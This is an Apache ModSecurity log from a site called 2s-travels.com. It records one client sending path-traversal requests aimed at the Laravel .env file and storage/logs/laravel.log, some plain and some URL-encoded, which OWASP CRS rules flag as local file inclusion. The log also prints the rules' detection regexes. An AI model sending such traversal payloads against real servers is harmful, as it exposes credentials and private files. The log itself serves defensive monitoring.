/?doc=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&junk=0wA2O59tebKIRFcNyVoSoKGSCEotfhkHQ-DVZYhmRvP0Az2L1MqdDXiylU6D2X3vCj4LJfhd_63_baL381xFweVSOSvVOHhFlzc4XqLDqMVlZQYIFSM9f9-JM3Mh7yT18pZ0aVe9qO2iRITAZ41Wes6NctmpCn_KhAqkOJ-VXDzYm5kz11B5LTSuql7RIiZWmcW_HnePRa2b4vZHaW8zkjuHmFESP5Wl2f8nZgxBFST8PJFF8vjLumLSW5mjFWgbuQC037Ata1yfJwztW3trBiTl&cb=2X4LVD26CW76M7LOK4APEWNASJJ2L3ZDNDEUATDS3IQZBO53GHEGXDSIMB3JYI54DHHXKXVO7UF5LVNTF75G5D77HRCHCHXVTFCFZYTTM5WJLZCTHQXRH..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jgAAAAw"]
[Fri Jul 17 08:55:05.417474 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jgAAAAw"]
[Fri Jul 17 08:55:05.417521 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../../storage/logs/laravel.log&junk=0wA2O59tebKIRFcNyVoSoKGSCEotfhkHQ-DVZYhmRvP0Az2L1MqdDXiylU6D2X3vCj4LJfhd_63_baL381xFweVSOSvVOHhFlzc4XqLDqMVlZQYIFSM9f9-JM3Mh7yT18pZ0aVe9qO2iRITAZ41Wes6NctmpCn_KhAqkOJ-VXDzYm5kz11B5LTSuql7RIiZWmcW_HnePRa2b4vZHaW8zkjuHmFESP5Wl2f8nZgxBFST8PJFF8vjLumLSW5mjFWgbuQC037Ata1yfJwztW3trBiTl&cb=2X4LVD26CW76M7LOK4APEWNASJJ2L3ZDNDEUATDS3IQZBO53GHEGXDSIMB3JYI54DHHXKXVO7UF5LVNTF75G5D77HRCHCHXVTFCFZYTTM5WJLZCTHQXRH24OGIWDNAK4PTU5N4M..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jgAAAAw"]
[Fri Jul 17 08:55:05.417549 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?doc=../../../storage/logs/laravel.log&junk=0wa2o59tebkirfcnyvosokgsceotfhkhq-dvzyhmrvp0az2l1mqddxiylu6d2x3vcj4ljfhd_63_bal381xfwevsosvvohhflzc4xqldqmvlzqyifsm9f9-jm3mh7yt18pz0ave9qo2iritaz41wes6nctmpcn_khaqkoj-vxdzym5kz11b5ltsuql7riizwmcw_hnepra2b4vzhaw8zkjuhmfesp5wl2f8nzgxbfst8pjff8vjlumlsw5mjfwgbuqc037ata1yfjwztw3trbitl&cb=2x4lvd26cw76m7lok4apewnasjj2l3zdndeuatds3iqzbo53ghegxdsimb3jyi54dhhxkxvo7uf5lvntf75g5d77hrchchxvtfcfzyttm5wjlzcthqxrh24ogiwdnak4ptu5n4m..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jgAAAAw"]
[Fri Jul 17 08:55:05.417574 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jgAAAAw"]
[Fri Jul 17 08:55:05.493359 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:doc: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jgAAAAw"]
[Fri Jul 17 08:55:05.500142 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiYbYoYGvYnmnM82CDAAAAAs"]
[Fri Jul 17 08:55:05.563918 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?document=..%2F..%2F.env&sid=12uW3TG56AQP9gl3_51Zj2BCyIyhQo4rcUAwwS7BeXhlRaDUECM_ohwNmoq4BG1aqXGSVgE6PKIE33mbhq1-KtQqZM4NpuOB4Cmvr9e66ax1nBrwVna98hpI2JBMU1JljJox9rFnREFXk-6WK-jZFgJd8q2byMM5MUGXv_9bQl5j6XcSowWTiXAeKpkzp0U4iieEsdRzzcDNetGxV5ugBG6b2Kqs-vGPL8xpwhCElT_tjKwcVpS2BxgfZRWGYX-KAGbMheapga0jAZ8F61VS5Fp8&cb=MDL7SC6EVOEJZD5SHBPYVXIKR6BIOT2GTTOWP7ZPVZHRMTHH3E3KX3OTFU7TCLM4KJZ7NSIYDVAVBNSEL3KIDTOHMQHFVXTZ6TKMZIVUPJHN367CBHQKM7GJPEF24PVN6DHO6VJ57LDQIH..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYbYoYGvYnmnM82CDQAAAAs"]
[Fri Jul 17 08:55:05.563969 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYbYoYGvYnmnM82CDQAAAAs"]
[Fri Jul 17 08:55:05.564029 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../.env&sid=12uW3TG56AQP9gl3_51Zj2BCyIyhQo4rcUAwwS7BeXhlRaDUECM_ohwNmoq4BG1aqXGSVgE6PKIE33mbhq1-KtQqZM4NpuOB4Cmvr9e66ax1nBrwVna98hpI2JBMU1JljJox9rFnREFXk-6WK-jZFgJd8q2byMM5MUGXv_9bQl5j6XcSowWTiXAeKpkzp0U4iieEsdRzzcDNetGxV5ugBG6b2Kqs-vGPL8xpwhCElT_tjKwcVpS2BxgfZRWGYX-KAGbMheapga0jAZ8F61VS5Fp8&cb=MDL7SC6EVOEJZD5SHBPYVXIKR6BIOT2GTTOWP7ZPVZHRMTHH3E3KX3OTFU7TCLM4KJZ7NSIYDVAVBNSEL3KIDTOHMQHFVXTZ6TKMZIVUPJHN367CBHQKM7GJPEF24PVN6DHO6VJ57LDQIHEGEVNVTE2JHN..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYbYoYGvYnmnM82CDQAAAAs"]
[Fri Jul 17 08:55:05.564102 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../.env&sid=12uw3tg56aqp9gl3_51zj2bcyiyhqo4rcuawws7bexhlraduecm_ohwnmoq4bg1aqxgsvge6pkie33mbhq1-ktqqzm4npuob4cmvr9e66ax1nbrwvna98hpi2jbmu1jljjox9rfnrefxk-6wk-jzfgjd8q2bymm5mugxv_9bql5j6xcsowwtixaekpkzp0u4iieesdrzzcdnetgxv5ugbg6b2kqs-vgpl8xpwhcelt_tjkwcvps2bxgfzrwgyx-kagbmheapga0jaz8f61vs5fp8&cb=mdl7sc6evoejzd5shbpyvxikr6biot2gttowp7zpvzhrmthh3e3kx3otfu7tclm4kjz7nsiydvavbnsel3kidtohmqhfvxtz6tkmzivupjhn367cbhqkm7gjpef24pvn6dho6vj57ldqihegevnvte2jhn..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYbYoYGvYnmnM82CDQAAAAs"]
[Fri Jul 17 08:55:05.564135 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYbYoYGvYnmnM82CDQAAAAs"]
[Fri Jul 17 08:55:05.564167 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYbYoYGvYnmnM82CDQAAAAs"]
[Fri Jul 17 08:55:05.565357 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYbYoYGvYnmnM82CDQAAAAs"]
[Fri Jul 17 08:55:05.590689 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?document=..%2F..%2Fstorage%2Flogs%2Flaravel.log&ref=ldzWMQ3Tr3BGm42ox2WMo38bKbXgEl1BAp3Xvvc8lZvpQafPlvahZn2YaMQwRwII0GqHBtrHf-qGHB7ItSo6lKm4a3la9BwLsD8ANh2PuWKzir1CQGp3lIFHMjjjMHOpKUCaHV_rqZC96NyyP_2nnAIdC0CsqTSWlEI1BaqqWtwm14YAApJw2Qjq1JwAZPf8Y-6XagkrN-cTknNRnYgLa-xKBPJQ-3lnnkmivqvRorhJNmbA0WclSQaZaM6R5_oWSgYC65cXDcTvDRMg8sFiztyQ&ts=GS4422YSEXUVN7TTB4L2AWZAEXVEY4ZQII46IN3NEZZT5BE7N3FUMA7H2U2QTMGD45S5MMBBGP6VAY3SMTDFMG6YOWCDUBAD6I7MEFBBY4BXOYE7QBMSNR..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeQAAABk"]
[Fri Jul 17 08:55:05.590741 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeQAAABk"]
[Fri Jul 17 08:55:05.590787 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../storage/logs/laravel.log&ref=ldzWMQ3Tr3BGm42ox2WMo38bKbXgEl1BAp3Xvvc8lZvpQafPlvahZn2YaMQwRwII0GqHBtrHf-qGHB7ItSo6lKm4a3la9BwLsD8ANh2PuWKzir1CQGp3lIFHMjjjMHOpKUCaHV_rqZC96NyyP_2nnAIdC0CsqTSWlEI1BaqqWtwm14YAApJw2Qjq1JwAZPf8Y-6XagkrN-cTknNRnYgLa-xKBPJQ-3lnnkmivqvRorhJNmbA0WclSQaZaM6R5_oWSgYC65cXDcTvDRMg8sFiztyQ&ts=GS4422YSEXUVN7TTB4L2AWZAEXVEY4ZQII46IN3NEZZT5BE7N3FUMA7H2U2QTMGD45S5MMBBGP6VAY3SMTDFMG6YOWCDUBAD6I7MEFBBY4BXOYE7QBMSNRF3NE5YA7DW3AAIVK..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeQAAABk"]
[Fri Jul 17 08:55:05.590834 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../storage/logs/laravel.log&ref=ldzwmq3tr3bgm42ox2wmo38bkbxgel1bap3xvvc8lzvpqafplvahzn2yamqwrwii0gqhbtrhf-qghb7itso6lkm4a3la9bwlsd8anh2puwkzir1cqgp3lifhmjjjmhopkucahv_rqzc96nyyp_2nnaidc0csqtswlei1baqqwtwm14yaapjw2qjq1jwazpf8y-6xagkrn-ctknnrnygla-xkbpjq-3lnnkmivqvrorhjnmba0wclsqazam6r5_owsgyc65cxdctvdrmg8sfiztyq&ts=gs4422ysexuvn7ttb4l2awzaexvey4zqii46in3nezzt5be7n3fuma7h2u2qtmgd45s5mmbbgp6vay3smtdfmg6yowcdubad6i7mefbby4bxoye7qbmsnrf3ne5ya7dw3aaivk..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeQAAABk"]
[Fri Jul 17 08:55:05.590872 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeQAAABk"]
[Fri Jul 17 08:55:05.590896 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeQAAABk"]
[Fri Jul 17 08:55:05.592123 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PeQAAABk"]
[Fri Jul 17 08:55:05.592286 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.592592 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkQ7FYe46zHK_jL3PeQAAABk"]
[Fri Jul 17 08:55:05.609721 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?document=..%2F..%2F..%2F..%2F..%2F.env&token=C59UGls6dlxZywRu7zDXG2wN-ONI44J1hRgNXgRuamwQGbKDmAnKsOaft-iVRzM7XEG748VLtwkxLpX949SyAzKJ_q3CkLSux1Nv5L4D-5OAlCxQHXgHrIeS2zEjbfM8VuI3ejB_G6WYh-4iLBIbhVZu2XycAb1dbzHiiGMazERANfzLzu6tiofnpelNhMVlSoMoEiiDfZYTcZKlGDj5jiwK-M01jhlMKdXQZlxBNSYeiLx7eAXrtKui2v6H8onPUuHNUoYyLS1U4AOVzd4BsXzB&ref=OEKAKEHFBBJFROWAPLQQTLY222HZJDIFGIEGGTRFDOZIZ7KBKOUSSNM4HHSUVCIWSR5R4R5VVJFJQK7JZ4DZXYXLCILPG7XR3D7XRZD7W3DL7VD5ODWZS5ECHQJ3..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PegAAABk"]
[Fri Jul 17 08:55:05.609779 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PegAAABk"]
